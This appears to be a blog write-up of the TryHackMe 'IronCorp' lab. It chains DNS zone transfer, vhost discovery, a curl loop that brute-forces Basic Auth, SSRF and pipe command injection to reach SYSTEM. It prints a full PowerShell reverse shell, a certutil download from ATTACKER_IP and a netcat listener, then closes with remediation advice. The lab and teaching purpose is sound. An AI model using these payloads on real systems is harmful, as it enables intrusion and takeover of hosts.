IronCorp is a Windows-based TryHackMe machine that chains together several distinct techniques to achieve SYSTEM-level access without ever exploiting a CVE. The attack path moves through DNS enumeration, vhost discovery, HTTP Basic Auth brute force, server-side request forgery, and finally command injection via a chained internal endpoint. No privilege escalation was needed — initial access landed directly as nt authority\system.
Press enter or click to view image in full size
Difficulty: Hard Platform: TryHackMe OS: Windows Server 2016 (10.0.14393) Techniques: DNS zone transfer, vhost enumeration, HTTP Basic Auth bruteforce, SSRF, command injection
nmap -Pn -sC -F <TARGET_IP>PORT STATE SERVICE
53/tcp open domain
135/tcp open msrpc
3389/tcp open ms-wbt-server
8080/tcp open http-proxyRDP with NLA enforced (CredSSP required), IIS on 8080, DNS on 53 — DNS zone transfer is the immediate priority, given the ironcorp.me hostname returned.
nmap -Pn -p- --min-rate 3000 <TARGET_IP> -oN ironcorp_fullscan.txtPORT STATE SERVICE
53/tcp open domain
135/tcp open msrpc
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
11025/tcp open unknown
49667/tcp open unknown
49670/tcp open unknownPort 11025 is the standout — an unknown service on a non-standard port warranting immediate version detection.
nmap -Pn -p53,135,3389,8080,11025,49667,49670 -sC -sV <TARGET_IP>Key results:
8080/tcp open http Microsoft IIS httpd 10.0
Title: Dashtreme Admin - Free Dashboard for Bootstrap 4 by Codervent11025/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.4.4)
Title: Coming Soon - Start Bootstrap Theme49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Two separate web stacks on the same machine. IIS on 8080 and Apache + PHP 7.4.4 on 11025. The Apache stack is the more interesting attack surface.
dig axfr ironcorp.me @<TARGET_IP>ironcorp.me. 3600 IN SOA win-8vmbkf3g815. hostmaster. 3 900 600 86400 3600
ironcorp.me. 3600 IN NS win-8vmbkf3g815.
admin.ironcorp.me. 3600 IN A 127.0.0.1
internal.ironcorp.me.3600 IN A 127.0.0.1
ironcorp.me. 3600 IN SOA win-8vmbkf3g815. hostmaster. 3 900 600 86400 3600Press enter or click to view image in full size
Zone transfer succeeded and leaked two internal subdomains: admin.ironcorp.me and internal.ironcorp.me, both resolving to 127.0.0.1. This means neither subdomain is directly reachable from outside — they are loopback-bound services that must be reached through the machine itself, making SSRF an attractive vector later.
gobuster dns --domain ironcorp.me --resolver <TARGET_IP>:53 \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txtPress enter or click to view image in full size
Confirmed only the two subdomains from the zone transfer. No additional hidden subdomains.
gobuster dir -u http://<TARGET_IP>:8080 \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,asp,aspx -t 40Index.html (Status: 200) [Size: 20040]
Login.html (Status: 200) [Size: 5025]
assets (Status: 301)
calendar.html (Status: 200)
forms.html (Status: 200)
profile.html (Status: 200)
register.html (Status: 200)Reviewing the login form source:
curl -s http://<TARGET_IP>:8080/login.html | grep -i "action\|method\|input\|form"The form has no action attribute and no JavaScript submission handler — it is a pure static HTML template with no backend. The entire IIS site is a decorative Dashtreme freebie. Dead end.
curl -s http://<TARGET_IP>:11025/ | grep -i "<title>"<title>Coming Soon - Start Bootstrap Theme</title>Default vhost serves a static Coming Soon page. Directory enumeration was attempted:
gobuster dir -u http://<TARGET_IP>:11025 \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,txt -t 20 --timeout 20sThe scan timed out repeatedly — Apache was rate-limiting or dropping connections on this port under load. Directory enumeration against the default vhost was abandoned in favour of vhost fingerprinting.
Since both subdomains resolve to loopback, they cannot be reached by DNS. However, Apache routes requests based on the Host header regardless of DNS. Testing each vhost directly against port 11025:
curl -s -H "Host: admin.ironcorp.me" http://<TARGET_IP>:11025/ | grep -i "<title>"<title>Authentication required!</title>curl -s -H "Host: internal.ironcorp.me" http://<TARGET_IP>:11025/ | grep -i "<title>"<title>Access forbidden!</title>Three completely distinct applications behind one Apache instance:
Default vhost → Coming Soon (static)
admin.ironcorp.me → HTTP Basic Auth gate (401)
internal.ironcorp.me → IP-restricted (403)Checking the auth realm:
curl -sv -H "Host: admin.ironcorp.me" http://<TARGET_IP>:11025/ 2>&1 | grep -i "www-authenticate"WWW-Authenticate: Basic realm="My Protected Area"Standard HTTP Basic Auth. Hydra v9.6 has a broken -m flag for custom headers on http-get — It silently ignores the Host header and hits the default vhost, producing false positives (every password appears valid because the Coming Soon page returns 200 unconditionally). The reliable approach is a curl loop that correctly passes the Host header on every attempt:
while IFS= read -r pass; do
result=$(curl -s -o /dev/null -w "%{http_code}" \
-u "admin:$pass" \
-H "Host: admin.ironcorp.me" \
http://<TARGET_IP>:11025/)
echo "Trying admin:$pass → $result"
if [ "$result" == "200" ]; then
echo "[+] FOUND: admin:$pass"
break
fi
done < /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt[+] FOUND: admin:[REDACTED]While the curl loop ran against the admin vhost, the internal.ironcorp.me 403 response was investigated in parallel.
Join Medium for free to get updates from this writer.
403 bypass via header spoofing — the internal vhost appeared to restrict access by IP. Standard bypass headers were tested to see if Apache was trusting client-supplied headers:
curl -s -H "Host: internal.ironcorp.me" -H "X-Forwarded-For: 127.0.0.1" \
http://<TARGET_IP>:11025/ | grep -i "<title>"curl -s -H "Host: internal.ironcorp.me" -H "X-Real-IP: 127.0.0.1" \
http://<TARGET_IP>:11025/ | grep -i "<title>"curl -s -H "Host: internal.ironcorp.me" -H "Client-IP: 127.0.0.1" \
http://<TARGET_IP>:11025/ | grep -i "<title>"
All three returned Access forbidden! — The server is not trusting any of these headers for access control decisions. Header-based IP spoofing does not work here.
Git repository exposure — directory enumeration on the internal vhost (with 403 responses suppressed) surfaced a .git/logs/ entry:
gobuster dir -u http://<TARGET_IP>:11025 -H "Host: internal.ironcorp.me" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,txt -t 20 --timeout 20s --exclude-length 1072.git/logs/ (Status: 403) [Size: 1086]A .git directory on a live web server is a serious misconfiguration — the repository contents can sometimes be reconstructed even without directory listing. git-dumper was used to attempt extraction:
git-dumper "http://<TARGET_IP>:11025/.git/" ./internal_git \
-H "Host=internal.ironcorp.me"[-] Testing http://<TARGET_IP>:11025/.git/HEAD [403]
[-] responded with status code 403Individual .git Files are also protected with 403 — the repository is not dumpable from outside. Both avenues exhausted. The internal vhost can only be reached through the machine itself, making SSRF the correct path once admin panel access is obtained.
curl -s -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
http://<TARGET_IP>:11025/ | grep -i "title\|form\|input\|action\|href"Two key findings in the response:
Finding 1 — Internal endpoint leak:
<b>You can find your name <a href=http://internal.ironcorp.me:11025/name.php?name=>here</a>Finding 2 — Search panel with r parameter:
<form method="GET" action="#">
<input name="r" type="text" placeholder="******" />
<input type="submit" />
</form>Press enter or click to view image in full size
The r parameter is masked with asterisks — intentionally obscured. Combined with the leaked internal.ironcorp.me Reference, this strongly suggests the r parameter performs server-side URL fetching.
Testing r as an SSRF vector with --data-urlencode to avoid URL encoding issues:
curl -s -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test" \
http://<TARGET_IP>:11025/ | grep -A3 "My name"<b>My name is: </b><pre>
Equinoxtest
</pre>SSRF confirmed. The r parameter fetches URLs server-side and reflects the response inline. The server can reach internal.ironcorp.me — which is forbidden from outside — through itself. The name parameter is also reflecting input based on a <pre> block.
Testing pipe injection on the name parameter, delivered via SSRF:
curl -s -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test|whoami" \
http://<TARGET_IP>:11025/ | grep -A3 "My name"<b>My name is: </b><pre>
nt authority\system
</pre>RCE as nt authority\system. The pipe separator (|) is passed unsanitised to a system call inside name.php. The full chain:
Attacker → SSRF via ?r= → internal.ironcorp.me/name.php → pipe injection → SYSTEM shellDirect PowerShell download cradles fail due to special characters ((, ), ') breaking Apache's URL parsing at the SSRF relay layer. The solution is a two-stage approach — download with certutil (no special characters), Then execute separately.
Preparing the PowerShell reverse shell:
cat > /tmp/shell.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
EOFStarting the listener and HTTP server:
# Terminal 1
rlwrap nc -lvnp 4444# Terminal 2
cd /tmp && python3 -m http.server 8000Step 1 — Download payload to target via certutil:
curl -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test|certutil+-urlcache+-split+-f+http://<ATTACKER_IP>:8000/shell.ps1+C:\Windows\Temp\s.ps1" \
http://<TARGET_IP>:11025/ 2>&1 | grep -A3 "My name"My name is:
**** Online ****
0000 ...
01f8Press enter or click to view image in full size
The HTTP server confirmed the GET request for shell.ps1. File downloaded successfully to C:\Windows\Temp\s.ps1.
Step 2 — Execute the payload:
curl -u "admin:[REDACTED]" \
-H "Host: admin.ironcorp.me" \
--get \
--data-urlencode "r=http://internal.ironcorp.me:11025/name.php?name=test|powershell+C:\Windows\Temp\s.ps1" \
http://<TARGET_IP>:11025/# Terminal 1
Listening on 0.0.0.0 4444
Connection received on <TARGET_IP> 50151Press enter or click to view image in full size
Shell caught.
whoami
nt authority\systemDNS zone transfer unrestricted: The DNS server was configured to allow zone transfers from any host, leaking the full internal zone i, including loopback-bound subdomains. Zone transfers should be restricted to authorised secondary nameservers only, using. allow-transfer ACLs.
Weak HTTP Basic Auth credentials: The admin panel was protected with a trivially guessable password present in common wordlists. Credentials should meet minimum complexity requirements, and rate-limiting lockout policies should be enforced on auth endpoints.
SSRF via unsanitised URL parameter: The r parameter on the admin panel accepted arbitrary URLs and fetched them server-side without validation or allowlisting. The application should implement a strict allowlist of permitted internal endpoints and reject any URL not matching it.
Command injection in name.php: User input was passed unsanitised to a system call. This is the most critical finding. Input should be validated against a strict allowlist of permitted characters, and shell metacharacters should be stripped or escaped before any system call.
Internal vhost exposed via SSRF: The internal.ironcorp.me vhost was protected only by IP-based access control, which was trivially bypassed once SSRF was established. Internal services should not rely solely on network-layer controls — they should implement their own authentication independently.